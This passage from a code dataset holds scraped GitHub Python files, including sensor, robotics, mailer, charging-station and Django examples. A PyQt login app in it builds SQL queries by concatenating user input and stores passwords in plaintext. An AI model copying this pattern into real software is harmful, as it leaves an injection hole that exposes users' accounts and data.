ax2.title.set_text(\"Robust Node Quads\")\n plt.scatter(og_coordinates[:, 0], og_coordinates[:, 1], c='red')\n plt.scatter(og_coordinates[robust_nodes, 0], og_coordinates[robust_nodes, 1], c='green')\n\n ax3 = fig.add_subplot(143)\n ax3.title.set_text(\"Trilaterated Robust Nodes\")\n plt.scatter(trilaterated_robust_node_data[:,0], trilaterated_robust_node_data[:,1], c='green')\n\n ax4 = fig.add_subplot(144)\n ax4.title.set_text(\"RTRR\")\n plt.scatter(rtrr_node_coordinate[:,0], rtrr_node_coordinate[:,1], c='yellow')\n plt.scatter(trilaterated_robust_node_data[:,0], trilaterated_robust_node_data[:,1], c='green')\n\n plt.show()\n\nif __name__ == \"__main__\":\n main()","repo_name":"seemeekang/UWB","sub_path":"RTRR/RTRR.py","file_name":"RTRR.py","file_ext":"py","file_size_in_byte":5502,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"4715258695","text":"from django.conf.urls import url\n\nfrom .views import (\n\t#excavation_create,\n\texcavation_list,\n\t#befund_create,\n\texcavation_detail,\n\t#befund_detail,\n\t#befund_update,\n\t#befund_delete,\n\t#photos_list,\n\n\t)\n\nurlpatterns = [\n url(r'^$', excavation_list, name='excavation'),\n\t#url(r'^create/$', excavation_create, name='create'),\n\turl(r'^(?P\\d+)/$', excavation_detail),\n\t#url(r'^(?P[\\w-]+)/$', befund_detail, name='befund_detail'),\n\t#url(r'^(?P[\\w-]+)/edit$', befund_update, name='update'),\n\t#url(r'^(?P[\\w-]+)/delete/$', befund_delete),\n\t#url(r'^tag/(?P\\w+)/$', photos_list),\n\n\n\t\n\n ]","repo_name":"isabernardes/Archaeodatabase","sub_path":"excavation/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16910715324","text":"from os import scandir\nfrom sqlite3.dbapi2 import Cursor\nfrom PyQt5 import uic,QtWidgets\n\nimport sqlite3\n\nglobal senha_db\n\ndef converte_celtofah():\n temp = int(telaconversao.lineEdit.text())\n temp = (temp * 9/5) + 32\n\n msg = QtWidgets.QMessageBox()\n msg.setWindowTitle(\"Sucesso\")\n msg.setText(\"Resultado: \"+str(temp)+\"°F\")\n msg.exec()\n\n\ndef converte_fahtocel():\n temp2 = int(telaconversao.lineEdit_2.text())\n temp2 = (temp2 - 32) * 5/9\n\n msg = QtWidgets.QMessageBox()\n msg.setWindowTitle(\"Sucesso\")\n msg.setText(\"Resultado: \"+str(temp2)+\"°C\")\n msg.exec() \n\ndef sair_login():\n tela1login.close()\n primeiratela.show()\n\n \ndef conversao():\n primeiratela.close()\n telaconversao.show() \n\ndef sair_conversao():\n telaconversao.close()\n primeiratela.show()\n\ndef cadastrar_db():\n nome = telacadastro.lineEdit_2.text()\n senha = telacadastro.lineEdit_3.text()\n c_senha = telacadastro.lineEdit_4.text()\n\n if (senha == c_senha):\n try:\n banco = sqlite3.connect('banco.db') \n cursor = banco.cursor()\n cursor.execute(\"CREATE TABLE IF NOT EXISTS cadastro (nome text,senha text)\")\n cursor.execute(\"INSERT INTO cadastro VALUES ('\"+nome+\"','\"+senha+\"')\")\n\n banco.commit() \n banco.close()\n telacadastro.close()\n primeiratela.show()\n\n except sqlite3.Error as erro:\n print(\"Erro ao inserir os dados: \",erro)\n else:\n telacadastro.label.setText(\"As senhas digitadas estão diferentes\")\n\ndef chama_primeiratela():\n tela1login.label_4.setText(\"\")\n nome_user = tela1login.lineEdit.text()\n senha = tela1login.lineEdit_2.text()\n banco = sqlite3.connect('banco.db')\n cursor = banco.cursor()\n try:\n cursor.execute(\"SELECT senha FROM cadastrar WHERE login = '{}'\".format(nome_user))\n senha_db = cursor.fetchall()\n print(senha_db[0][0])\n banco.close\n except: \n print(\"ERRO AO VALIDAR LOGIN\")\n\n if senha == senha_db[0][0]:\n tela1login.close()\n primeiratela.show()\n\n else:\n tela1login.label_4.setText(\"Dados incorretos\")\n\n\ndef cadastrar():\n tela1login.close()\n telacadastro.show()\n\ndef sair_cadastro():\n telacadastro.close()\n tela1login.show()\n\ndef voltar_login():\n primeiratela.close()\n tela1login.show() \n\ndef abrir_temp():\n primeiratela.close() \n telatempo.show()\n\ndef fechar_temp():\n telatempo.close()\n primeiratela.show()\n\ndef fechar_app():\n tela1login.close()\n\napp=QtWidgets.QApplication([])\nprimeiratela = uic.loadUi(\"primeiratela.ui\")\ntela1login = uic.loadUi(\"tela1login.ui\") \ntelacadastro = uic.loadUi(\"telacadastro.ui\")\ntelaconversao = uic.loadUi(\"telaconversao.ui\")\ntelatempo = uic.loadUi(\"telatempo.ui\")\n\nprimeiratela.pushButton_3.clicked.connect(conversao)\nprimeiratela.pushButton_4.clicked.connect(abrir_temp)\nprimeiratela.pushButton_2.clicked.connect(voltar_login)\ntelaconversao.pushButton_2.clicked.connect(sair_conversao)\ntelaconversao.pushButton_3.clicked.connect(converte_celtofah)\ntelaconversao.pushButton_4.clicked.connect(converte_fahtocel)\ntela1login.pushButton.clicked.connect(chama_primeiratela)\ntela1login.pushButton_2.clicked.connect(cadastrar)\ntelacadastro.pushButton.clicked.connect(cadastrar_db)\ntelacadastro.pushButton_2.clicked.connect(sair_cadastro)\ntela1login.pushButton_3.clicked.connect(fechar_app)\ntelatempo.pushButton_3.clicked.connect(fechar_temp)\n\n\ntela1login.show()\napp.exec()","repo_name":"rafinhoo/WEATHER-FORECAST","sub_path":"weatherforecast.py","file_name":"weatherforecast.py","file_ext":"py","file_size_in_byte":3500,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12282669691","text":"\"\"\"\nThis example uses an SGP41 and SHTC3 connected to a Sensirion SEK-SensorBridge\n\nInstall the dependencies\npip install sensirion-shdlc-sensorbridge sensirion-i2c-sht sensirion-i2c-sgp4x\n\"\"\"\n\nimport time\nfrom sensirion_shdlc_driver import ShdlcSerialPort, ShdlcConnection\nfrom sensirion_shdlc_sensorbridge import SensorBridgePort, \\\n SensorBridgeShdlcDevice, SensorBridgeI2cProxy\nfrom sensirion_i2c_driver import I2cConnection\nfrom sensirion_i2c_sgp4x import Sgp41I2cDevice\nfrom sensirion_i2c_sht.shtc3 import Shtc3I2cDevice\nfrom sensirion_gas_index_algorithm.voc_algorithm import VocAlgorithm\nfrom sensirion_gas_index_algorithm.nox_algorithm import NoxAlgorithm\n\nvoc_algorithm = VocAlgorithm()\nnox_algorithm = NoxAlgorithm()\n\n# Connect to the SensorBridge with default settings:\n# - baudrate: 460800\n# - slave address: 0\nwith ShdlcSerialPort(port='COM1', baudrate=460800) as port:\n bridge = SensorBridgeShdlcDevice(ShdlcConnection(port), slave_address=0)\n print(\"SensorBridge SN: {}\".format(bridge.get_serial_number()))\n\n # Configure SensorBridge port 1 for SGP40\n bridge.set_i2c_frequency(SensorBridgePort.ONE, frequency=100e3)\n bridge.set_supply_voltage(SensorBridgePort.ONE, voltage=3.3)\n bridge.switch_supply_on(SensorBridgePort.ONE)\n\n # Create SGP40 device\n i2c_transceiver = SensorBridgeI2cProxy(bridge, port=SensorBridgePort.ONE)\n connection = I2cConnection(i2c_transceiver)\n\n sgp41 = Sgp41I2cDevice(connection)\n print(\"SGP41 Serial Number: {}\".format(sgp41.get_serial_number()))\n\n shtc3 = Shtc3I2cDevice(connection)\n print(\"SHTC3 Product ID: {}\".format(shtc3.read_product_id()))\n shtc3.enter_sleep()\n\n # Run conditioning for 10 seconds\n for _ in range(10):\n time.sleep(1)\n temperature, humidity = shtc3.measure()\n sraw_voc = sgp41.conditioning(temperature=temperature.degrees_celsius,\n relative_humidity=humidity.percent_rh)\n # use default formatting for printing output:\n voc_index = voc_algorithm.process(sraw_voc.ticks)\n print(\"VOC Index: {}\\t\\tNOx Index: conditioning\".format(voc_index))\n\n # Measure every second for 2 minutes\n for _ in range(120):\n time.sleep(1)\n temperature, humidity = shtc3.measure()\n sraw_voc, sraw_nox = sgp41.measure_raw(temperature=temperature.degrees_celsius,\n relative_humidity=humidity.percent_rh)\n # use default formatting for printing output:\n voc_index = voc_algorithm.process(sraw_voc.ticks)\n nox_index = nox_algorithm.process(sraw_nox.ticks)\n print(\"VOC Index: {}\\t\\tNOx Index: {}\".format(voc_index, nox_index))\n\n bridge.switch_supply_off(SensorBridgePort.ONE)\n","repo_name":"Sensirion/gas-index-algorithm","sub_path":"python-wrapper/example_sensorbridge.py","file_name":"example_sensorbridge.py","file_ext":"py","file_size_in_byte":2750,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"3"} +{"seq_id":"42317797602","text":"\n\nimport os, sys\nfrom iotbx import pdb\n\ndef run(pdb_filename):\n pdb_inp = pdb.input(pdb_filename)\n cryst1=pdb_inp.crystal_symmetry_from_cryst1()\n pdb_hierarchy=pdb_inp.construct_hierarchy()\n xrs = pdb_inp.xray_structure_simple()\n sc=xrs.sites_cart()\n import code; code.interact(local=locals())\n return cryst1\n \nif __name__==\"__main__\":\n pdb_filename='vAla3.pdb'\n run(pdb_filename)\n","repo_name":"pjanowski/Pawel_PhD_Scripts","sub_path":"phenix/get_CRYST1.py","file_name":"get_CRYST1.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15945868726","text":"# “대표 자연수는 주어진 모든 자연수들에 대하여 그 차이를 계산하여 그 차이들 전체의 합을 최소로 하는 자연수이다.”\n\n# 6\n# 4 3 2 2 9 10 => 2 2 3 4 9 10\n# 2 2 3 4 \n# => 3\nimport sys\ninput = sys.stdin.readline\n\nn = int(input())\nlst = sorted(list(map(int, input().split())))\n\nif n % 2 == 0: print(lst[n//2 -1])\nelse: print(lst[n//2])\n\n# -> 오름차순 정렬 후 가운데 숫자를 찾으면 됌","repo_name":"codinghapsida/coding-sehoon","sub_path":"week01/2548.py","file_name":"2548.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1391072275","text":"import datetime\nimport smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\n\nhost=\"smtp.gmail.com\"\nport=587\nfile=open(\"D:/data.txt\",\"r\")\nline=file.read()\nwords=line.split()\nusername=words[0]\npassword=words[1]\nto_list=words[2:]\n\nfrom_email=username\n\n\nclass MessageUser():\n\tuser_details=[] \n\tmessages=[]\n\temail_message=[]\n\tbase_message=\"\"\"Hi there {name}!!! \n\t\tThanks for a great work.\n\t\t{date} was a good day\n\t\tYour purchuase {total} \n\t\tSupport TEAM\n\t\t\"\"\"\n\tdef add_user(self,name,amount,email=None):\n\t\tname=name[0].upper()+name[1:].lower()\n\t\ttoday=datetime.date.today()\n\t\tdate_text='{today.month}/{today.day}/{today.year}'.format(today=today)\n\t\tamount=\"%.2f\"%(amount)\n\t\tdetail={\n\t\t\t\"name\":name,\n\t\t\t\"amount\":amount,\n\t\t\t\"date\":date_text\n\t\t}\n\t\tif email is not None:\n\t\t\tdetail[\"email\"]=email\n\t\tself.user_details.append(detail)\n\n\tdef get_details(self):\n\t\treturn self.user_details\n \n\tdef make_messages(self):\n\t\tif len(self.user_details)>0:\n\t\t\tfor detail in self.get_details():\n\t\t\t\tname=detail[\"name\"]\n\t\t\t\tdate=detail[\"date\"]\n\t\t\t\tamount=detail[\"amount\"]\n\t\t\t\tmessage=self.base_message\n\t\t\t\tnew_msg=message.format(\n\t\t\t\t\tname=name,\n\t\t\t\t\tdate=date,\n\t\t\t\t\ttotal=amount\n\t\t\t\t\t)\n\t\t\t\tuser_email=detail.get(\"email\")\n\t\t\t\tif user_email:\n\t\t\t\t\tuser_data={\n\t\t\t\t\t\t\"email\":user_email,\n\t\t\t\t\t\t\"message\":new_msg\n\t\t\t\t\t}\n\t\t\t\t\tself.email_message.append(user_data)\n\t\t\t\telse:\n\t\t\t\t\tself.messages.append(new_msg)\n\t\t\t\tself.messages.append(new_msg)\n\t\t\treturn self.messages\n\t\treturn []\n\tdef send_email(self):\n\t\tself.make_messages()\n\t\tif len(self.email_message)>0:\n\t\t\tfor detail in self.email_message:\n\t\t\t\tuser_email=detail[\"email\"]\n\t\t\t\tuser_message=detail[\"message\"]\n\t\t\t\ttry:\n\t\t\t\t\temail_connection=smtplib.SMTP(host,port)\n\t\t\t\t\temail_connection.ehlo()\n\t\t\t\t\temail_connection.starttls()\n\t\t\t\t\temail_connection.login(username,password)\n\t\t\t\t\tthe_msg=MIMEMultipart(\"alternative\")\n\t\t\t\t\tthe_msg[\"Subject\"]=\"Updates Guys !\"\n\t\t\t\t\tthe_msg[\"From\"]=from_email\n\t\t\t\t\tthe_msg[\"To\"]=user_email\n\t\t\t\t\tpart_1=MIMEText(user_message,\"plain\")\n\t\t\t\t\tthe_msg.attach(part_1)\n\t\t\t\t\temail_connection.sendmail(from_email,[user_email],the_msg.as_string())\n\t\t\t\t\temail_connection.quit()\n\t\t\t\texcept smtplib.SMTPException:\n\t\t\t\t\tprint (\"error sending message\") \n\t\t\treturn True\n\t\treturn False\n\n\nnew=MessageUser()\nnew.add_user(\"igor\",23.4,email=to_list)\nnew.add_user(\"stePhan\",9898.2222,email=to_list)\nnew.get_details()\nnew.send_email()\n","repo_name":"ipushkar/python","sub_path":"message_user_with_sending.py","file_name":"message_user_with_sending.py","file_ext":"py","file_size_in_byte":2397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18931096314","text":"\"\"\"\nBreadth-First grid planning\nauthor: Erwin Lejeune (@spida_rwin)\nSee Wikipedia article (https://en.wikipedia.org/wiki/Breadth-first_search)\n\"\"\"\n\nfrom py4j.java_gateway import JavaGateway\nfrom py4j.java_gateway import java_import\n\ngateway = JavaGateway() #启动py4j服务器\nentrypoint = gateway.entry_point #获取服务器桥的入口\n\njava_import(gateway.jvm,'java.util.*') #导入java中的类的方法\n\nimport rospy\nfrom geometry_msgs.msg import PoseStamped\nfrom obstacle_detector.msg import Obstacles\nfrom scipy.spatial.transform import Rotation as R\nimport threading\nimport math\nimport matplotlib.pyplot as plt\nimport time\nimport numpy as np\n\n\nclass Brain:\n class Robot:\n x, y, yaw = 0.0, 0.0, 0.0\n theta = 0.25\n def __init__(self, x, y, yaw):\n self.x, self.y, self.yaw = x, y, yaw\n def __str__(self):\n return \"x: %.2f, y: %.2f\" % (self.x, self.y)\n def __eq__(self, other):\n return abs(self.x - other.x) < self.theta and abs(self.y - other.y) < self.theta\n\n def __sub__(self, other):\n return self.x - other.x, self.y - other.y\n\n def __init__(self):\n self.cnt = 1\n self.Red1 = entrypoint.getRoboMaster(\"Red1\") \n self.Red2 = entrypoint.getRoboMaster(\"Red2\") \n self.Blue1 = entrypoint.getRoboMaster(\"Blue2\") \n self.Blue2 = entrypoint.getRoboMaster(\"Blue1\") \n\n self.robots = [self.Robot(0.0, 0.0, 0.0), self.Robot(0.0, 0.0, 0.0)]\n\n self._decision_pub = [rospy.Publisher(\"/CAR1/move_base_simple/goal\", PoseStamped, queue_size=10),\n rospy.Publisher(\"/CAR2/move_base_simple/goal\", PoseStamped, queue_size=10)]\n self._robots_subscriber = [rospy.Subscriber(\"/CAR1/amcl_pose\", PoseStamped, self.ownPositionCB0),\n rospy.Subscriber(\"/CAR2/amcl_pose\", PoseStamped, self.ownPositionCB1)]\n self._enemies_subscriber = [rospy.Subscriber(\"/CAR1/obstacle_filtered\", Obstacles, self.ownObservationCB0),\n rospy.Subscriber(\"/CAR2/obstacle_filtered\", Obstacles, self.ownObservationCB1)]\n # self._decision_pub = [rospy.Publisher(\"/jackal0/move_base_simple/goal\", PoseStamped, queue_size=10),\n # rospy.Publisher(\"/jackal1/move_base_simple/goal\", PoseStamped, queue_size=10)]\n # self._debuff_subscriber = rospy.Subscriber(\"/debuff\", String, self.receiveDebuffSignal)\n # self._robots_subscriber = [rospy.Subscriber(\"/jackal0/amcl_pose\", PoseStamped, self.ownPositionCB0),\n # rospy.Subscriber(\"/jackal1/amcl_pose\", PoseStamped, self.ownPositionCB1)]\n # self._enemies_subscriber = [rospy.Subscriber(\"/jackal0/obstacle_filtered\", Obstacles, self.ownObservationCB0),\n # rospy.Subscriber(\"/jackal1/obstacle_filtered\", Obstacles, self.ownObservationCB1)]\n\n def ownPositionCB0(self, msg):\n self.robots[0].x = msg.pose.position.x\n self.robots[0].y = msg.pose.position.y\n [y, p, r] = R.from_quat([msg.pose.orientation.x,\n msg.pose.orientation.y,\n msg.pose.orientation.z,\n msg.pose.orientation.w]).as_euler('zyx', degrees=True)\n self.robots[0].yaw = y\n self.Blue1.setPosition(int(msg.pose.position.x*1000), int(msg.pose.position.y*1000),float(1.57))\n\n def ownPositionCB1(self, msg):\n self.robots[1].x = msg.pose.position.x\n self.robots[1].y = msg.pose.position.y\n [y, p, r] = R.from_quat([msg.pose.orientation.x,\n msg.pose.orientation.y,\n msg.pose.orientation.z,\n msg.pose.orientation.w]).as_euler('zyx', degrees=True)\n self.robots[1].yaw = y\n self.Blue2.setPosition(int(msg.pose.position.x*1000), int(msg.pose.position.y*1000),float(1.57))\n\n def ownObservationCB0(self, data):\n enemy = data.circles\n if len(enemy) == 1:\n self.Red1.setPosition(int(enemy[0].center.x*1000), int(enemy[0].center.y*1000),float(1.57))\n elif len(enemy) == 2:\n self.Red1.setPosition(int(enemy[0].center.x*1000), int(enemy[0].center.y*1000),float(1.57))\n self.Red2.setPosition(int(enemy[1].center.x*1000), int(enemy[1].center.y*1000),float(1.57))\n\n def ownObservationCB1(self, data):\n enemy = data.circles\n if len(enemy) == 1:\n self.Red1.setPosition(int(enemy[0].center.x*1000), int(enemy[0].center.y*1000),float(1.57))\n elif len(enemy) == 2:\n self.Red1.setPosition(int(enemy[0].center.x*1000), int(enemy[0].center.y*1000),float(1.57))\n self.Red2.setPosition(int(enemy[1].center.x*1000), int(enemy[1].center.y*1000),float(1.57))\n \n def get_next_position(self):\n pos = self.Blue2.getPointAvoidingFacingEnemies()\n rx = pos.getX() / 100.0\n ry = pos.getY() / 100.0\n print(\"------\", self.cnt)\n self.cnt = self.cnt+1\n print(\"x: \", rx)\n print(\"y: \", ry)\n goal = PoseStamped()\n goal.header.frame_id = \"/map\"\n goal.pose.position.x, goal.pose.position.y = rx, ry\n goal.pose.orientation.w = 1\n \n # yaw_angle = math.atan2(ry - self.robots[i].y, rx - self.robots[i].x)\n\n # theta = 0\n # if yaw_angle >= 0:\n # theta = yaw_angle - math.pi\n # elif yaw_angle < 0:\n # theta = math.pi + yaw_angle\n # else:\n # rospy.logerr(\"invalid yaw\")\n \n # #if i == 1:\n # # theta += math.pi\n \n # theta = theta + np.random.uniform(-self._rangeAngle / 180 * math.pi, self._rangeAngle / 180 * math.pi)\n # theta = np.clip(theta, -math.pi, math.pi)\n \n \n # target.x, target.y = target.x + self._rho * math.cos(theta), target.y + self._rho * math.sin(theta)\n\n # [goal.pose.orientation.w,\n # goal.pose.orientation.x,\n # goal.pose.orientation.y,\n # goal.pose.orientation.z] = self._createQuaternionFromYaw(yaw_angle)\n\n\n self._decision_pub[1].publish(goal)\n\n\n\ndef call_rosspin():\n rospy.spin()\n\n\nif __name__ == '__main__':\n try: \n print(__file__ + \" start!!\")\n rospy.init_node('decision_node', anonymous=True)\n rate = rospy.Rate(0.5)\n brain = Brain()\n print(brain)\n spin_thread = threading.Thread(target=call_rosspin).start()\n\n while not rospy.core.is_shutdown():\n brain.get_next_position()\n rate.sleep()\n\n except rospy.ROSInterruptException:\n pass\n\n","repo_name":"KristoffLiu/RoboMaster-Simulator-Java","sub_path":"src/env/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":6677,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"15379986964","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim: set et sw=4 ts=4 sts=4 ff=unix fenc=utf8:\n\nfrom db_util import db_instance\nimport csv\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf8')\n\n\ndef getstats():\n\n ret = db_instance.execute(\"select list.list_id,list.list_name, relation.song_id, song.song_name,song.artist_id, song.artist_name,song.state,list.tag_xiaomi\\\n from t_radio_list_songs as relation, t_radio_list as list ,t_song as song \\\n where list.state=1 and relation.list_id=list.list_id and relation.song_id=song.song_id order by list.list_id,relation.rate desc \")\n\n #csvfile = file('csv_stat.csv', 'wb')\n header=['list_id', 'list_name', 'song_id','song_name','artist_id','artist_name','state']\n with open('csv_stat.csv', 'wb') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow(header+['language','category','other'])\n for i in range(len(ret)):\n data=ret[i]\n tag=data['tag_xiaomi'].split('|')\n writer.writerow( [data[headname] for headname in header] )\n\n\n\n db_instance.close()\nif __name__ == '__main__':\n getstats()\n","repo_name":"Janepoor/Music-Stats","sub_path":"getbycsv.py","file_name":"getbycsv.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27363511776","text":"# https://www.acmicpc.net/problem/21608\n\nfrom itertools import product\nfrom sys import stdin\ninput = stdin.readline\n\nN = int(input())\nbod = [[0]*N for _ in range(N)]\nstudent = {}\nfor _ in range(N**2):\n a, b, c, d, e = map(int, input().split())\n student[a] = (b, c, d, e)\n\ndy = [0, 0, 1, -1]\ndx = [1, -1, 0, 0]\n\nfor s in student:\n seats = []\n for y, x in product(range(N), repeat=2):\n friend_count = 0\n blank_count = 0\n if bod[y][x] != 0:\n continue\n for u, v in zip(dy, dx):\n ny, nx = y+u, x+v\n if not(0<=ny -1:\n for n, data in enumerate(datas):\n for key in data.keys():\n if n == output : print(f'[{n}]-key {key} : {data[key]}')\n \n # list of charging stations\n charging_stations = []\n count = 0\n for n, data in enumerate(datas):\n plugs = len(data['Connections'])\n if output > -1: print(f'{n + 1} with {plugs} plugs / {len(datas)} stations')\n if data['DataQualityLevel'] >0:\n # TODO handle data quality\n for n in range(plugs):\n count += 1\n charging_stations.append(\n ChargingStation( data, idx=n )\n )\n # try:\n # print(f'Number of total plugs: {count}') \n # except:\n # raise Exception('No charging stations returned')\n if len(charging_stations) > 0:\n return charging_stations \n else:\n return [] #raise Exception('No valid charging stations found')\n else:\n return [] #raise Exception(response.text)\n return[]\n\n\nimport time\n\ndef get_charging_stations(area, maxresults=5000):\n\n querystring = {\n \"maxresults\": f\"{maxresults}\",\n \"countrycode\": \"80\",\n # \"latitude\": string\n # \"longitude\": string\n # \"distance\": f\"{distance}\",\n # \"distanceunit\": \"km\",\n # \"opendata\": \"true\",\n # \"polyline\": google polyline encoded: string\n \"key\": \"42fc0eed-7a1d-49f6-b7a2-724b136adb3b\"\n } \n\n try:\n # Nominatim coordinates Multi polygons \n stations = []\n for sub_area in area: \n for sub in sub_area:\n simplified = Polygon(sub).simplify(0.01, preserve_topology=True)\n simplified_enc = polyline.encode(simplified.exterior.coords, precision=5, geojson=True) \n querystring['polygon'] = f\"{simplified_enc}\" \n stations.extend(request_openchargemap(querystring))\n \n except: \n # Nominatim coordinates polygon\n # print(area)\n simplified = Polygon(area[0]).simplify(0.01, preserve_topology=True)\n simplified_enc = polyline.encode(simplified.exterior.coords, precision=5, geojson=True) \n querystring['polygon'] = f\"{simplified_enc}\" \n stations = request_openchargemap(querystring)\n\n print(len(stations)) \n return stations\n\nfrom shapely.geometry import LineString\nimport pyproj\ndist_meter = lambda x : pyproj.Geod(ellps='WGS84').geometry_length(x)\n\ndef split_line(point, linestring):\n best_distance = 999999\n best_idx = -1\n for idx, line_point in enumerate(linestring.coords):\n dist = point.distance( Point(line_point))\n if dist < best_distance:\n best_distance = dist\n best_idx = idx\n else:\n break\n start_line = linestring.coords[:idx]\n start_line.append(point.coords[0])\n end_line = [point.coords[0]]\n end_line.extend(linestring.coords[idx:])\n return LineString(start_line), LineString(end_line)\n\n\nclass CustomException(Exception):\n \"\"\" my custom exception class \"\"\"\n def __init__(self, value1, value2):\n self.value1 = value1\n self.value2 = value2\n display(value1, value2)\n\n def __str__(self):\n print(self.value1) \n print(self.value2)\n\ndef print_edges(graph,closest_node,next_node,new):\n print('='*50)\n print('closest_node edges',graph.edges(closest_node))\n print('next_node edges',graph.edges(next_node))\n print('new node edges',graph.edges(new))\n\n print('-'*50)\n print(f'{closest_node} < {graph.has_edge(closest_node,next_node)} > {next_node}')\n print(f'{closest_node} < {graph.has_edge(closest_node,new)} > {new}')\n print(f'{new} < {graph.has_edge(new,next_node)} > {next_node}')\n\n''' if station within 10 meters radius from a node,\n make this node a station to avoid node inflation\n \n else project the station on closest edge and split edges to \n connect new station node''' \n\ndef plug_between(graph,closest_node,next_node, key,station, debug=False):\n\n station_idx = f\"station_{station.AddressInfo['ID']}\" #id of new node\n\n # get edge attributes\n edge_attrs = graph.edges[closest_node, next_node, key] # dict of edge attributes\n # display(edge_attrs)\n edge_linestring = edge_attrs['geometry']\n\n closest_point = edge_linestring.interpolate(edge_linestring.project(station.lmbrt))\n if closest_point.within(Point(graph.nodes('x')[closest_node],graph.nodes('y')[closest_node]).buffer(10)):\n print(f'plug {station_idx} to closest node {closest_node}')#,end='\\r')\n attr_ = graph.nodes()[closest_node]\n attr_.update(\n {\n 'real_gps': Point(station.gps.x, station.gps.y),\n 'real_lmbrt': Point(station.lmbrt.x, station.lmbrt.y), \n 'color' : (1.,0.,0.,1.),\n 'infos' : station.__dict__ \n }\n )\n graph.add_node(closest_node, **attr_)\n graph = nx.relabel_nodes(graph, {closest_node: station_idx})\n\n elif closest_point.within(Point(graph.nodes('x')[next_node],graph.nodes('y')[next_node]).buffer(10)):\n print(F'Plug {station_idx} to next node {next_node}')#,end='\\r') \n attr_ = graph.nodes()[next_node]\n attr_.update(\n {\n 'real_gps': Point(station.gps.x, station.gps.y),\n 'real_lmbrt': Point(station.lmbrt.x, station.lmbrt.y), \n 'color' : (1.,0.,0.,1.),\n 'infos' : station.__dict__ \n }\n )\n graph.add_node(next_node, **attr_)\n graph = nx.relabel_nodes(graph, {next_node: station_idx})\n else:\n try:\n closest_node_line, next_node_line = split_line(closest_point, edge_linestring)\n except :\n raise CustomException(closest_point, edge_linestring)\n \n # create new node for station\n graph.add_node(station_idx, \n y= closest_point.y, \n x= closest_point.x, \n real_gps= Point(station.gps.x, station.gps.y),\n real_lmbrt = Point(station.lmbrt.x, station.lmbrt.y), \n street_count = 2,\n color = (1.,0.,0.,1.),\n infos = station.__dict__\n )\n if debug: \n print('before',end=' ')\n print_edges(graph,closest_node,next_node,station_idx)\n\n # link closest and new\n edge_attrs.update(\n dict(\n length = closest_node_line.length, #dist_meter(closest_node_line),\n geometry = closest_node_line,\n )\n )\n graph.add_edge(closest_node, station_idx, key,**edge_attrs)\n #TODO reverse geometry ?\n # graph.add_edge(station_idx, closest_node, key,**edge_attrs)\n\n # link new and next\n edge_attrs.update(\n dict(\n length = next_node_line.length, # dist_meter(next_node_line),\n geometry = next_node_line,\n )\n )\n graph.add_edge(next_node, station_idx, key,**edge_attrs)\n #TODO reverse geometry ?\n # graph.add_edge(station_idx, next_node, key,**edge_attrs)\n if debug: \n print('after',end=' ')\n print_edges(graph,closest_node,next_node,station_idx)\n\n\n # remove old links\n graph.remove_edge(closest_node, next_node, key)\n # graph.remove_edge(next_node, closest_node, key)\n \n if debug: \n print('removed old edges',end=' ')\n print_edges(graph,closest_node,next_node,station_idx)\n\n return graph\n\ndef duplicate_node(graph, node, idx):\n # TODO : create node idx with node edges\n return graph \n\n\n\n\ndef graph_add_stations(graph, stations):\n duplicates = 0\n for n, station in enumerate(tqdm(stations)):\n # print(f'{n+1}/{len(stations)}', end='\\r')\n\n point = station.lmbrt\n # point, _ = proj_geo(point, '4326', '2154') # TODO: check if it works\n\n # Get from/to id of closest edge\n (closest_node, next_node, key), dist = ox.distance.nearest_edges(graph, X=point.x, Y=point.y, return_dist=True)\n # print(closest_node)\n if type(closest_node) == str:\n # set same edges as closest node:\n duplicates += 1\n station_idx = f\"station_{station.AddressInfo['ID']}\" #id of new node\n duplicate_node(graph, closest_node, station_idx)\n elif type(next_node) == str: \n # set same edges as next node:\n duplicates += 1\n station_idx = f\"station_{station.AddressInfo['ID']}\" #id of new node\n duplicate_node(graph, next_node, station_idx)\n else:\n # create a new node between closest_node and next_node\n graph = plug_between(graph,closest_node,next_node, key,station, debug=False)\n\n return graph, duplicates\n","repo_name":"dataforgoodfr/batch11_e_cartomobile","sub_path":"notebooks/OCM_helper_functions.py","file_name":"OCM_helper_functions.py","file_ext":"py","file_size_in_byte":11942,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"25084436176","text":"from math import inf\nfrom typing import List\n\nclass Solution:\n def minSizeSubarray(self, nums: List[int], target: int) -> int:\n total = sum(nums)\n n = len(nums)\n ans = inf\n left = s = 0\n target_mod_total = target % total\n for right in range(n * 2):\n s += nums[right % n]\n while s > target_mod_total:\n s -= nums[left % n]\n left += 1\n if s == target_mod_total:\n ans = min(ans, right - left + 1)\n return (ans + target // total * n) if ans < inf else -1\n\n","repo_name":"YueZhengRedMoon/_LeetCode_Python","sub_path":"2500-2999/2875_minimum-size-subarray-in-infinite-array.py","file_name":"2875_minimum-size-subarray-in-infinite-array.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6380637530","text":"\nimport cv2\nimport numpy as np\n\nif __name__ == '__main__' :\n\n # Read source image.\n im_src = cv2.imread('img17small.png')\n # Four corners of the book in source image\n pts_src = 